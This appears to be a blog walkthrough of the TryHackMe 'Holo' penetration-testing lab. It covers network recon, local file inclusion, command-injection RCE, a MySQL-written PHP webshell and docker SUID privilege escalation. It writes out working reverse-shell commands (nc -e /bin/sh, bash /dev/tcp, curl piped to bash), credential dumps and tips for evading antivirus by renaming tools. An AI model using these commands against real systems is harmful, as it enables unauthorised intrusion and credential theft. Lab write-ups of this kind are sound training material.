Holo is a room on the TryHackMe learning website. This room focuses on a whole bunch of skills and is for the relatively advanced user. I’m going to try and work through this, within this blog and help explain some of the concepts, why they work and how they can be applied to real world pentests.
Holo is available to subscribers of TryHackMe here: https://tryhackme.com/room/hololive.
Feel free to use the index to jump around to certain tasks, each task has been split out within this post for ease.
Table of Contents
Task 1 – 3 – Intros
These tasks introduce you to the room, help you join it, connect in and gives an overview of the sections.
Task 4 – Flag Submission.
This is where the flags are input. I won’t be providing the flags throughout this blog, you’ll have to grab them yourself!
Task 5 – Competition
When Holo was released there was a competition to go with it, this is no longer valid as the deadline has passed. Skip this section.
Task 6 – .NET Basics – CLR – Commonly Lacking Radiation
The information on .net and how it is used for exploitation is really well written. The important parts are that .net language can be used, and provides access to key Windows services such as Win32 and API calls. These can make direct system calls and assist in evading anti-virus solutions as they are a legitimate part of the underlying Windows workings.
Task 7 – .NET Basics – Rage Against the Compiler
Building your own tools is amazingly useful. Even if that is just renaming Mimikatz to macrodogz. Sometimes small changes like that and removing twitter handles/authors names and descriptions can be enough to evade AV at a basic level.
Download the Virtual Machine as it does have everything you need in. Yes it is a 20GB download!
Follow the guide to create a Build. Then complete the task!
Task 8 – Initial Recon – NOT EVERY GEEK WITH A COMMODORE 64 CAN HACK INTO NASA!
The first part of any pentest is understanding the scope of engagement, and working within the provided parameters. This section provides that scope:
-
- 10.200.x.0/24
- 192.168.100.0/24
First up, make sure you are connected to the Holo VPN (not the regular TryHackMe VPN)
You may notice that the 10.200 range doesn’t tell you the exact subnet, it instead has an X. I assume this is different for each person? Either way, before anything else, we need to find out what this is, luckily when connecting to the VPN, a route is pushed down, this can be seen by doing:
route
The output shows me that the range of 10.200.142.0 is going via 10.50.139.1 which is the same range as my VPN IP address (tun0)
Therefore our actual scope is:
-
- 10.200.142.0.24
- 192.168.100.0/24
Now, let’s find out which hosts are available by doing a quick pingsweep of both ranges:
sudo nmap -sn -n 10.200.142.0/24 192.168.100.0/24 -oA Ping-Sweep
The -sn flag means disable port scanning, as I’m only interested in the available hosts, not the specific ports at the moment.
The -n flag means do not do a DNS lookup. This speeds up the scan.
The results show that 258 hosts are up. A /24 has 256 hosts available, which seems very close to our total number. Looking at the results, all hosts are shown as Up within the 192.168.100.0/24 range, which would indicate a firewall causing issues. However in the other range, there are only 2 hosts up:
-
- 10.200.142.33
- 10.200.142.250
Let’s focus on those and do a common port scan and attempt to resolve DNS to see what type of servers we have:
sudo nmap -sS 10.200.142.33 10.200.142.250 -v -oA Initial-Scan-Subnet1-Hosts
We have some common ports open:
This indicates that 10.200.142.33 is a webserver and both servers can be accessed via SSH. It’s always worth checking all ports, for any high ports.
sudo nmap -sS -p- 10.200.142.33 10.200.142.250 -v -oA All-Ports
This can be done while investigating the webpage.
The webpage looks a bit basic, with bits missing:
Looking at the picture, it’s missing. If we right click and “View Image” we get taken to the domain name and wp-contents.
This means we need to add the domain name to our /etc/hosts file for the webpage the load properly. This means we can use the domain name, rather than the IP and our machine knows where to look at for that information.
sudo nano /etc/hosts
Now because we can visit www.holo.live as a domain, the content should load. This is called virtual host routing and is used within CTFs, and occasionally in the real world.
In the meantime, our scan finished and there are 2 more ports found.
An SQL server is always interesting, so now we have all the ports, we can run a full scripts and versions scan on these hosts.
sudo nmap -sV -sC -A 10.200.142.33 -p 22,80,33060 -oA 10.200.142.33-Script-Scan sudo nmap -sV -sC -A 10.200.142.250 -p 22,1337 -oA 10.200.142.250-Script-Scan
These scans look only at the available ports to attempt to limit network traffic.
The first host brings back lots of detail:
Nmap scan report for holo.live (10.200.142.33) Host is up (0.018s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ee:6f:21:f0:2f:51:11:71:81:ac:75:ac:fd:d8:5b:d8 (RSA) | 256 b4:9c:2b:29:af:56:06:be:d9:0f:1a:21:b3:7e:16:9e (ECDSA) |_ 256 47:50:f4:01:7c:33:2a:46:4a:d3:b4:f3:ae:d2:76:f7 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) | http-robots.txt: 21 disallowed entries (15 shown) | /var/www/wordpress/index.php | /var/www/wordpress/readme.html /var/www/wordpress/wp-activate.php | /var/www/wordpress/wp-blog-header.php /var/www/wordpress/wp-config.php | /var/www/wordpress/wp-content /var/www/wordpress/wp-includes | /var/www/wordpress/wp-load.php /var/www/wordpress/wp-mail.php | /var/www/wordpress/wp-signup.php /var/www/wordpress/xmlrpc.php | /var/www/wordpress/license.txt /var/www/wordpress/upgrade |_/var/www/wordpress/wp-admin /var/www/wordpress/wp-comments-post.php |_http-title: Did not follow redirect to http://www.holo.live/ | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" |_ HY000 1 service unrecognized despite returning data. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), L inux 3.11 (92%), Linux 3.2 - 4.9 (92%) No exact OS matches for host (test conditions non-ideal).
What do we gain from this? It’s probably an Ubuntu server, due to the OpenSSH banner. The webserver is running on Apache and is a WordPress instance.
Let’s quickly check the other host:
Nmap scan report for 10.200.142.250 Host is up (0.018s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c2:0c:9a:64:7f:a3:5b:65:3a:f8:49:d5:f0:c3:25:8c (RSA) | 256 91:78:0d:a6:7e:f6:b5:d8:61:e8:76:45:66:9a:7f:79 (ECDSA) |_ 256 e8:2b:23:c1:d7:0e:00:d0:26:9d:2a:9a:7d:56:6a:b2 (ED25519) 1337/tcp open http Node.js Express framework |_http-title: Error Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
Again, an Ubuntu host from the ssh header. Then Node.JS express, which could be useful. We will remember that for later.
Heading back to the webserver, we know it’s WordPress so it’s worth running wpscan to enumerate the website.
wpscan --url 10.200.142.33
This provides loads of useful information, including the version, the robots file and the fact that xmlrpc.php is enabled.
Looking back at the TryHackMe questions, we have all the answers for the questions in this section from the initial recon we have done.
Task 9 – Web App Exploitation – Punk Rock 101 err Web App 101
Reading the info, let’s us know that there is virtual host routing going on. We already discovered this, with the www.holo.live for the image on the main page. That would have been implemented to allow more websites to run on the same server, so can we find any other hosts?
As the guide says we can use GoBuster or wfuzz for this, I prefer GoBuster for no real reason, so I’ll roll with that.
However, I don’t have SecLists on this machine, so let’s grab that using git clone. SecLists is an amazing collection of wordlists for everything, it has way more than I ever use it for but that’s no bad thing!
git clone https://github.com/danielmiessler/SecLists
Now that’s downloaded we need to find the wordlist, we can quickly do this with find:
find -iname subdomains-top1million-110000.txt
That provides the location, so we can use that in our GoBuster command. remembering the drop the threads.
gobuster vhost -u holo.live -w ~/Documents/Tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 2
Very quickly the 3 virtual hosts are found:
-
- www.holo.live
- dev.holo.live
- admin.holo.live
Adding these 3 into the hosts file, we can now visit each URL which all host different websites.
This discovery is enough to answer the questions for this task!
Task 10 – Web App Exploitation – What the Fuzz?
If you ever find a web application, check the robots.txt file. After that, do a directory brute-force, it is amazing how many “hidden” directories have really useful information. This task goes through this enumeration, again I like GoBuster so will be doing it with that! And as requested we will use the Big.txt wordlist from Seclists.
We want to brute force all 3 of the URLs, so let’s do these one at a time.
gobuster dir -u www.holo.live -w ~/Documents/Tools/SecLists/Discovery/Web-Content/big.txt -t 2 -o www.holo.live -x php,html,htm,txt,bak,zip,~ gobuster dir -u dev.holo.live -w ~/Documents/Tools/SecLists/Discovery/Web-Content/big.txt -t 2 -o dev.holo.live -x php,html,htm,txt,bak,zip,~ gobuster dir -u admin.holo.live -w ~/Documents/Tools/SecLists/Discovery/Web-Content/big.txt -t 2 -o admin.holo.live -x php,html,htm,txt,bak,zip,~
The GoBuster command includes the:
-u = URL -w = wordlist -t = threads -o = output -x = file extension - as this is a Linux box I haven't included IIS filetypes such as aspx.
Running through the 3 webapps, we find the following available pages, these are ones that return a 200 status code.
-
- www.holo.live/robots.txt
- dev.holo.live/about.php
- dev.holo.live/img.php
- dev.holo.live/index.php
In addition to these, there are a number of pages that return a 403, which is forbidden meaning we can’t access these.
Going through these, there is data within robots.txt which provides the directory path for the WordPress install.
User-Agent: * Disallow: /var/www/wordpress/index.php Disallow: /var/www/wordpress/readme.html Disallow: /var/www/wordpress/wp-activate.php Disallow: /var/www/wordpress/wp-blog-header.php Disallow: /var/www/wordpress/wp-config.php Disallow: /var/www/wordpress/wp-content Disallow: /var/www/wordpress/wp-includes Disallow: /var/www/wordpress/wp-load.php Disallow: /var/www/wordpress/wp-mail.php Disallow: /var/www/wordpress/wp-signup.php Disallow: /var/www/wordpress/xmlrpc.php Disallow: /var/www/wordpress/license.txt Disallow: /var/www/wordpress/upgrade Disallow: /var/www/wordpress/wp-admin Disallow: /var/www/wordpress/wp-comments-post.php Disallow: /var/www/wordpress/wp-config-sample.php Disallow: /var/www/wordpress/wp-cron.php Disallow: /var/www/wordpress/wp-links-opml.php Disallow: /var/www/wordpress/wp-login.php Disallow: /var/www/wordpress/wp-settings.php Disallow: /var/www/wordpress/wp-trackback.php
We also find that when going to dev.holo.live/img.php we are prompted to download the PHP file, however this is empty. It must be being used for something in a different way.
Also whilst looking round the websites, in the development site, under talent we find pictures of anime characters. Hovering over the pictures shows an interesting path:
dev.holo.live/img.php?file=images/korone.jpg
This use of ‘file=’ can indicate local file inclusion, allowing us to specify files that we want to read from the underlying server. This may come in handy later.
Looking at the questions for this section, we can answer the first 2:
However, we haven’t yet found anything within the administrators domain. For some reason robots.txt didn’t show up on the brute force, however burp caught it pretty quickly. Looking at the robots.txt page on the Admin domain, we find the answer.
User-agent: * Disallow: /var/www/admin/db.php Disallow: /var/www/admin/dashboard.php Disallow: /var/www/admin/supersecretdir/creds.txt
This completes this task.
Task 11 – Web App Exploitation – LEEROY JENKINS!
Follow the instructions to install the test environment.
Changing the config to port 8080 can be done by editing the ports.conf file within the apache2 folder
sudo nano /etc/apache2/ports.conf Listen 8081
I had to change the port to 8081, as I had Burp running which by default listens on port 8080.
After step 4 make sure you move all the files into html, otherwise you’ll have to set up a new config as part of Apache.
sudo mv * html/
Now when you open a browser and go to 127.0.0.1:8081 you should get the downloaded website.
Task 12 – Web App Exploitation – What is this? Vulnversity?
This task explains the idea behind local file inclusion (LFI). This was noticed in the earlier task by us, I’m glad we remembered it was there!
Using the playground we downloaded, we can click on the “LFI” button and get taken to a picture of a cat, with the URL:
http://127.0.0.1:8081/lfi.php?file=catpics.jpg
We can change the file at the end, to any known file on the system, for example if we try and get the secret credentials file within the webpage:
http://127.0.0.1:8081/lfi.php?file=../../../../../var/www/html/secretdir/test.txt
This is returned, in this case with “Hello World”.
We can also use it to get things like the passwd & shadow file on a Linux host.
Now that we have this down, let’s try the same thing on the development domain. Clicking one of the pictures on the talent page, intercept the request in Burp and change the file to “../../../../../var/www/html/secretdir/test.txt”
Send the request to repeater and let’s see what we can find:
GET /img.php?file=../../../../../etc/passwd HTTP/1.1 Host: dev.holo.live User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://dev.holo.live/talents.php Upgrade-Insecure-Requests: 1
This returns with the users:
HTTP/1.1 200 OK Date: Fri, 07 Jan 2022 15:48:38 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 982 Connection: close root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
We absolutely have LFI. Let’s see if we can get shadow – we shouldn’t be able to, as the user running the webserver should not be root, it should be www-data instead.
The page loads, with no details:
HTTP/1.1 200 OK Date: Fri, 07 Jan 2022 15:49:41 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 0 Connection: close
This will be a permissions issue. So let’s try and get that credentials file we found earlier:
We get the credentials:
I know you forget things, so I'm leaving this note for you: admin:DBManagerLogin! - gurag <3
Great! Looking at the questions for the end of the section, we have all the answers we need. Local File Inclusion complete!
Task 13 – Web App Exploitation – Remote Control Empanadas
The next step is remote code execution to gain access to the underlying server. To do this, we need to use the local file inclusion to look at the code of the pages and find a vulnerable function that we can inject data into.
However, we need to know where to look. We can’t list the pages through the LFI, so we don’t know the paths we need. However we did get credentials before, and the admin site did have a login. Trying those credentials there provides us access to the dashboard.
There appear to be 2 pages:
-
- dashboard.php
- dashboard.html
The php page is what we are currently viewing, if clicking on the “dashboard” button on the left it takes us to dashboard.html. Not sure why, but might be worth looking at later.
So using our LFI, let’s try and read these 2 pages.
Previously we looked in the /var/www/admin/ folder, so it’s a fair guess that this will be the same path. Therefore, we request:
GET /img.php?file=../../../var/www/admin/dashboard.php HTTP/1.1 Host: dev.holo.live
This returns the code for the page. Looking through, we find an interesting bit of code to get the daily visitors:
<h4 class="card-title"> <?php if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);}?> Visitors today</h4>
This directly does a “cat” command against a page the get the visitor numbers. The way this works is the get request for the “cmd” variable executes the code following. Therefore, we should be able to be add this into our URL as a variable with our command after it:
admin.holo.live/dashboard.php?cmd=whoami
In this, we have added in the cmd variable, as seen in the code, then the command we want to run, in this case “whoami”.
The data from that request is then returned under the graph, where the total user numbers was previously shown.
We can now use this to run any commands under the context of that user. For example if we want to cat a file, we can do that:
However, it’s worth remembering we are still the wwwdata user, so we still can’t access the shadow file.
Doing these steps has provided enough information to answer the 3 questions for this task.
Now we just need to use it to pop a shell on the host. We can use netcat to do this, which should be installed by default on most Linux devices.
The command for this is:
nc -e /bin/sh <ip> <port>
This tells netcat to send /bin/sh command line to your IP and port. Putting this into the RCE, we get:
admin.holo.live/dashboard.php?cmd=nc+-e+/bin/sh+10.50.139.26+9009
Remember to start your netcat server on your host:
nc -nvlp 9009
Click go on the RCE and there is a reverse shell!
Task 14 – Post Exploitation – Meterpreter session 1 closed. Reason: RUH ROH
Stabilising a shell is important to make sure you can access all features and provide functionality, the most commonly used method is with python. There are a couple of steps, but I only ever do the first:
python -c 'import pty; pty.spawn("/bin/bash")'
This provides a full bash shell, it doesn’t provide the ability to go back on commands and extra steps can be done to fix these, but I just don’t bother.
When trying this on our compromised host, it doesn’t work, I think this is a python legacy issue, if you change python to python3 it works:
python3 -c 'import pty; pty.spawn("/bin/bash")'
We now have a stablished shell. Which is enough for this task.
However, I did have a look in our current directory and found a db_connect.php file, this was worth reading as it provides us a username, password and server IP for a database. This might come in handy later on.
www-data@5788b50a235a:/var/www/admin$ cat db_connect.php cat db_connect.php <?php define('DB_SRV', '192.168.100.1'); define('DB_PASSWD', "!123SecureAdminDashboard321!"); define('DB_USER', 'admin'); define('DB_NAME', 'DashboardDB'); $connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME); if($connection == false){ die("Error: Connection to Database could not be made." . mysqli_connect_error()); } ?>
Task 15 – Situational Awareness – Docker? I hardly even know her!
The blurb explains about docker and how we are in a container. This is all good stuff that is new to me so was useful to have a read.
The ps aux does return very few results and there is a .dockerenv file in the root directory, so it makes sense that this is a container!
There is a flag on the container, which is in a pretty standard user space. Submitting this and saying you’ve read all the info is enough for this task!
Task 16 – Situational Awareness – Living off the LANd
Focus now changes to finding out about the environment and the access this container has to other containers and systems on the network. Three different ways to port scan are explained, however before we get to that, where is this host connected to?
Running ifconfig tells us that the IP address of the host is:
-
- 192.168.100.100
This is odd, as we connected to it via a reverse shell on the webapp which was on the .200 subnet. So not entirely sure how we have done this.
We can also find more information such as which subnets are available, in the same way we found out the IP addresses at the start, with the route function
route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 eth0 192.168.100.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
This tells us our default gateway which is one of the questions for this task.
We should be able to connect to the gateway, giving it a ping should return traffic, meaning we have connectivity. However, ping isn’t installed on this container.
Instead let’s just do a port scan and find out what is on the gateway. The netcat route seems easiest, so let’s try that:
nc -zv 192.168.100.1 1-65535
This returns 5 open ports:
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 33060 (?) open ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 8080 (http-alt) open ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 3306 (mysql) open ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 80 (http) open ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 22 (ssh) open
The mysql is promising with the credentials we found earlier! Also 2 http servers, although to gain access to that we would need to pivot, and we don’t have any credentials or the right access for this machine to get the SSH password or add in our own key to pivot through it. Maybe we can come back to this.
The results from the port scan are enough for the answers in this task. Normally I’d want to run through the other 2 options, however the container doesn’t have a text editor (vi/vim/nano) so it is more effort than it’s worth to get these working.
Task 17 – Situational Awareness – Dorkus Storkus – Protector of the Database
It looks like that db_connect.php file that we found earlier is going to come in handy here. The details of which were:
define('DB_SRV', '192.168.100.1'); define('DB_PASSWD', "!123SecureAdminDashboard321!"); define('DB_USER', 'admin'); define('DB_NAME', 'DashboardDB'); $connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);
This gives us all the information we need to connect. We can assume this is a mySQL server, as it’s running on port 3306 which is the default. Therefore, we can use the mysql command line tool to access it.
mysql -u admin -p -h 192.168.100.1
Enter the password, and we are in!
First up, show all the databases, this allows us to try and narrow down a search. Remember all SQL syntax end with a semi-colon (;)
show databases; +--------------------+ | Database | +--------------------+ | DashboardDB | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.00 sec)
There are 5 databases, the top one “DashboardDB” is the most unique as it references something we have seen before, so let’s select that database and show the tables.
use DashboardDB; Database changed
Next is to get a list of all the tables in this database.
mysql> show tables; show tables; +-----------------------+ | Tables_in_DashboardDB | +-----------------------+ | users | +-----------------------+ 1 row in set (0.00 sec)
Just the 1 table, called users. Let’s get all the data on it.
mysql> SELECT * FROM users; SELECT * FROM users; +----------+-----------------+ | username | password | +----------+-----------------+ | admin | DBManagerLogin! | | gurag | AAAA | +----------+-----------------+ 2 rows in set (0.01 sec)
So we have the admin password, and another users frankly terrible password.
On this occasion, nothing overly helpful here. In a real life environment you might get different passwords, or users passwords. These could then be used to spray round the network or used for further exploits.
Looking at the questions, the information above is enough for this task!
Task 18 – Docker Breakout – Making Thin Lizzy Proud
Time to break out of this container! The info is useful, with standard methods abusing misconfigurations rather than active vulnerabilities. However, we are going for the more complicated exploitation route.
The key to breaking out here is the fact we have access to that DB. The access we have permits us to write to the database, then we can call our written table enteries.
Rather than the 1 liner they provide, let’s do each step ourselves to fully understand what’s happening.
-
- Access the remote database using administrator credentials
Logging in the same way as before:
mysql -u admin -p -h 192.168.100.1
Using password: !123SecureAdminDashboard321!
-
- Create a new table in the main database
Let’s create a table in the DashboardDB database.
First select the database.
Use DashboardDB;
Then create a table, we also need a column and we want this to allow a lot of characters, so I went for varchar (variable characters) with a length of 255.
CREATE TABLE hax( Code varchar(255) );
We now have a new table in the database.
mysql> show tables; show tables; +-----------------------+ | Tables_in_DashboardDB | +-----------------------+ | hax | | users | +-----------------------+ 2 rows in set (0.00 sec)
Inject PHP code to gain command execution
Example code:
<?php $cmd=$_GET["cmd"];system($cmd);?>
We have the example code, so we just need to input that into the “Code” field in the “hax” table.
Usually to input code into a table, you could use the ‘insert into’ command.
INSERT INTO hax(Code)
VALUES (<?php $cmd=$_GET["cmd"];system($cmd);?>)
However, this errors due to the syntax being off, as the mySQL instance is seeing the special characters as ending characters and attempting to run the command as a fucntion (such as SELECT).
To add the code in, we can escape the special characters.
To escape the characters, we need to add a “\” before the special characters that are being entered, resulting in the SQL statement being:
INSERT INTO hax (Code) value ('<?php $cmd=$_GET[\"cmd\"]\;system($cmd)\;?>');
This then enters the code, doing
SELECT * FROM hax;
Will show the data has been added:
mysql> SELECT * FROM hax; SELECT * FROM hax; +-----------------------------------------+ | Code | +-----------------------------------------+ | <?php $cmd=$_GET["cmd"];system($cmd);?> | +-----------------------------------------+ 1 row in set (0.00 sec)
-
- Drop table contents onto a file the user can access
Saving the table can be done using the “into outfile” command in MySQL. We need to select the data we want and provide a location we can access. The resulting command will look like:
SELECT * FROM hax INTO OUTFILE '/tmp/hax';
Let’s run this and check the file is there. Unfortunately we get an error:
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
This means that certain locations have been setup to allow for data saving or loading. We can check these by running:
SHOW VARIABLES LIKE "secure_file_priv";
This results in:
SHOW VARIABLES LIKE "secure_file_priv"; +------------------+----------------+ | Variable_name | Value | +------------------+----------------+ | secure_file_priv | /var/www/html/ | +------------------+----------------+ 1 row in set (0.01 sec)
Meaning we can only save our file in /var/www/html which works for us as we are targeting the website.
Let’s tweak our command to save in /var/www/html instead. We also want to append a .php extension as we want the code to load as a webpage so the RCE works.
SELECT * FROM hax INTO OUTFILE '/var/www/html/hax.php';
-
- Execute and obtain RCE on the host.
We can’t view the website via a browser, as we still don’t have a proxy through this box and we only have command line access. So instead we need to use curl.
curl 192.168.100.1:8080/hax.php?cmd=whoami
The result comes back instantly with www-data. Now I wanted to check that I was talking to a different machine, so I did a hostname and the data returned was as expected:
www-data@f988aa7b2fb3:/var/www/html$ hostname hostname f988aa7b2fb3 www-data@f988aa7b2fb3:/var/www/html$ curl 192.168.100.1:8080/hax.php?cmd=hostname </html$ curl 192.168.100.1:8080/hax.php?cmd=hostname ip-10-200-142-33
So that is our RCE via MySQL. We have enough to answer the questions for this section!
It should be noted, that the one liner provided by TryHackMe is actually a much better solution as it doesn’t write anything to the database, and therefore will be less logs and if the outfile is removed at the end of the engagement, any forensics might be slightly more difficult (although the command should still show in the MySQL logs!)
How does that one liner work? Well basically it just skips writing anything to the table, instead it selects the PHP code and directs it straight into a file.
Task 19 – Docker Breakout – Going%20out%20with%20a%20SHEBANG%21
It’s time to breakout and get a full shell! As we know from our hostname query above, this target machine is on the 10.200.142.x subnet, so it can connect directly with our attacking box, we don’t need to get set up a listener on the docker container.
The example goes through using a bash reverse shell by running a script through the RCE. I wondered if there was an easier way of using netcat.
First let’s set up a listener on our host.
nc -nvlp 9010
Then on the curl command, we can do the same nc command we did before:
curl 192.168.100.1:8080/hax.php?cmd=nc+-e+/bin/sh+10.50.139.26+9010
This doesn’t connect back and appears to make the box hang, not sure why that is, but twice it has crashed the box which is frustrating.
Instead let’s look at the bash reverse shell that the guide uses. First create the script file
nano bash.sh
Then copy the text replacing the tun0ip with your own IP. This basically tells the machine to send an interactive bash shell to that IP over TCP to port 53 – which is usually DNS.
#!/bin/bash bash -i >& /dev/tcp/10.50.139.26/53 0>&1
Host the script on a webserver, I like using pythons simpleHTTPserver for this. It works and gives suitable output to see if you get a hit or not.
sudo python -m SimpleHTTPServer 80
To then catch the reverse connection, I’ll use Metasploit so we can easily upgrade our shell to a meterpreter prompt later for potential easy wins.
msfconsole use multi/handler set LHOST tun0 set LPORT 53 run
Setting the localhost (listener) to be our tun0 interface and the port to listen on being 53 to match the script above. This is now ready to catch our reverse shell.
We now need the command to pass through curl. Any command will need to be encoded to ensure it is interpreted in the correct way by the target machine, to do this, I get our command
hax.php?cmd=curl http://10.50.139.26:80/bash.sh|bash &
To understand what’s happening, lets encode key characters manually.
Encoding any:
-
- Spaces ( )= %20
- Colons (:) = %3A
- Forward Slashes (/) = %2F
- Pipes (|) = %7C
- Ampersands (&) = %26
hax.php?cmd=curl%20http%3A%2F%2F10.50.139.26%3A80%2Fbash.sh%7Cbash%20%26
Our full command is then:
curl 192.168.100.1:8080/hax.php?cmd=curl%20http%3A%2F%2F10.50.139.26%3A80%2Fbash.sh%7Cbash%20%26
This can also be done much quicker in cyberchef or Burp suite. Be wary as they might encode all characters which may result in the “.php” extension not working properly.
Run the command, and you will see a hit on the webserver and the reverse shell will be started.
Looking around where you land on the machine, there is a user.txt which we can input into the flag submission task.
Success, we now have a solid shell on this server!
Task 20 – Privilege Escalation – Call me Mario, because I got all the bits
Next up is local privilege escalation for this server. The first thing to always try is:
sudo -l
This is often a quick win, however not in this case. There are lots of tools that can help with priv esc, however i’m going to try the meterpreter “get_system” function, so let’s upgrade this shell to a meterpreter shell.
Background the shell:
ctrl+z
Then search for upgrade and you will see:
12 post/multi/manage/shell_to_meterpreter
We can use this.
use 12 show options
We need to find the session number
session -l
Our session in #1
set SESSION 1 run
For some reason my run errored, however the session was opened anyway:
Drop into that meterpreter shell:
sessions 2
When trying to use the getsystem command, first we need to:
load priv
Unfortunately this extension fails to load, so we are going to have to do this more manually.
There are lots of good privilege escalation tools, however the best ones are for Linux currently are LinEnum and LinPEAs.
Both of these look through a whole heap data to provide potential weaknesses.
I don’t have either on my machine, so let’s get the LinPEAs release
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh >> linpeas.sh chmod +x linpeas.sh
Now in our meterpreter session we can use the upload function. We need to be a writeable directory, so add it to /tmp/
cd /tmp/ upload linpeas.sh
We can now drop into a shell and run the script.
shell chmod 777 linpeas.sh ./linpeas.sh >> linpeas.txt
The script then runs and provides heaps of output. The idea is issues are highlighted in red are a potential issue and red with a yellow background are high probability PE vectors.
The amount of output is amazing, the tool authors have done an amazing job. There are a lot of areas highlighted red and the networking explains our query from earlier, about how we were dropped onto a different range. The Holonet networking is really impressive.
LinPeas output shows some interesting binaries installed, including nmap. There is an nmap priv esc noted in gtfobins so we can try that:
nmap --interactive
Unfortunately this version of nmap doesn’t have –interactive.
The Linpeas output has finished and as I have a meterpreter shell I can easily download the .txt file to read on my machine and save for later.
download linpeas.txt
Looking through the data there are lots of areas that should be noted. These include an outdated sudo version (1.8.31), the fact docker is present and the fact apache is installed. Linpeas also brings back the password for the WordPress site, hosted within the wp-config.php file.
The first red and yellow hit we get, is within the SUID part, informing us that /usr/bin/docker/ has SUID permissions, which may allow privilege escalation. SUID priv esc is relatively common within CTFs and is all about the permissions granted on that binary. Effectively temporary permissions on that binary are provided based on the binary owner (in this case root) rather than the user.
As mentioned on the THM guidance, we can also use another command to find binaries with these SUID permissions, which is:
find / -perm -u=s -type f 2>/dev/null
Unsurprisingly it provides the same list as LinPeas, just without the helpful red colouring. As LinPeas highlighted /usr/bin/docker/ we can search on gtfobins for a suitable exploit. There is an entry for docker with a SUID permission, which is as follows:
sudo install -m =xs $(which docker) . ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
However, as we are going to abuse an existing binary, we can ignore the first line. Instead running:
/usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
We do get an error back, as it cannot find the image for “apline:latest” locally. Looking at the machine, we can find out which OS it is running and try to use that:
cat /etc/os-release
Ubuntu is being run, so swapping alpine to Ubuntu is worth a try.
/usr/bin/docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
Again same error. Obviously we have missed something. Reading a bit more about this, rather than the underlying Operating System, we need to identify the docker container that we want to use and input the image name within our command.
Finding out the docker images is straight forward:
docker ps -a
This returns:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 462a6cbdd8a4 cb1b741122e8 "/bin/sh -c '/etc/in…" 27 minutes ago Up 27 minutes 0.0.0.0:80->80/tcp www-holo-live
From here, we can use the image name in our exploit.
/usr/bin/docker run -v /:/mnt --rm -it cb1b741122e8 chroot /mnt sh
With that, we have a root shell on the docker image by abusing that SUID permission.
It’s now time to have a look round the machine to find the flag, however we are on the docker container, not on the underlying host. We have completed the exploit but have jumped as root to the wrong box.
